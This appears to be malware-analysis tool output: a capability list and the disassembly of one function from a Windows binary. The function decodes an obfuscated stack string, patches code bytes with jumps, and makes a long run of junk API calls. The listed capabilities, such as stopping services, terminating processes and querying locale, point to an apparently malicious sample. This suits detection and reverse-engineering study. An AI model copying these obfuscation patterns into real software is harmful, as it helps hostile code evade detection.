Function at 0xab1000
Capabilities:
Accept command line arguments
Connect pipe
Contain obfuscated stackstrings
Create pipe
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file system object information
Get geographical location
Get thread local storage value
Identify system language via api
Query environment variable
Query or enumerate registry key
Set environment variable
Stop service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 0x10], 0xab19ad
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xab1036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xab1199
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xab10b8
call fcn.0048e992
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xab107a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xab1094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xab1094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xab104a
mov byte [ebp - 0x48], 3
mov byte [ebp - 0x47], 0x21
mov byte [ebp - 0x46], 5
mov byte [ebp - 0x45], 0x6c
mov byte [ebp - 0x44], 8
mov byte [ebp - 0x43], 0x75
mov byte [ebp - 0x42], 7
mov byte [ebp - 0x41], 0x68
mov byte [ebp - 0x40], 4
mov byte [ebp - 0x3f], 0x2c
mov byte [ebp - 0x3e], 0x6f
mov byte [ebp - 0x3d], 0xc4
mov byte [ebp - 0x3c], 2
mov byte [ebp - 0x3b], 0x77
mov byte [ebp - 0x3a], 4
mov byte [ebp - 0x39], 0x82
mov byte [ebp - 0x38], 6
mov byte [ebp - 0x37], 0x7b
mov byte [ebp - 0x36], 9
mov byte [ebp - 0x35], 0x78
mov byte [ebp - 0x34], 0
mov byte [ebp - 0x33], 0x83
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 0x88
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xab112a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x18
jae 0xab118e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x48]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xab1155
mov dword [ebp - 0x24], 4
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
jmp 0xab1122
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x47]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xab117d
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xab116a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x48]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xab1122
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa5f3a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x60]
call fcn.00407851
mov ecx, eax
call fcn.00402dbb
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x60]
call fcn.00402d5f
and dword [ebp - 0x1c], 0
jmp 0xab11d1
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xab11e1
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xab11ca
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x1413
push 0x126c
push 0
push 0
push 0x2596
push 0x100
push 0x66a
push 0x1472
push 0x6a
push 0x2530
push 0x36e
push 0x1acb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
push 1
push 0
push 0x2d1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push 1
push 0
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0x1785
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0xc64
push 0xa5b
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
push 0x2546
push 0
push 0x18b5
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0x210f
push 0x502
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
push 0
push 0x1089
push 0x219d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x2541
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1662
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0xf58
push 0
push 0
push 0
push 0x1964
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0xf64
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
push 0
push 0x202c
push 0x2221
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0
push 0x9c4
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0
push 0x181e
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0x26e5
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0x1f24
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0x2316
push 0x11f3
push 0x227b
push 0x1bae
push 0x1ebd
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
push 0xd49
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0x24b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
push 0
push 0x2a
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
call dword [sym.imp.USER32.dll_EndMenu]
push 0x1c69
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x1eb3
push 0x2499
push 0x561
call dword [sym.imp.KERNEL32.dll_RaiseException]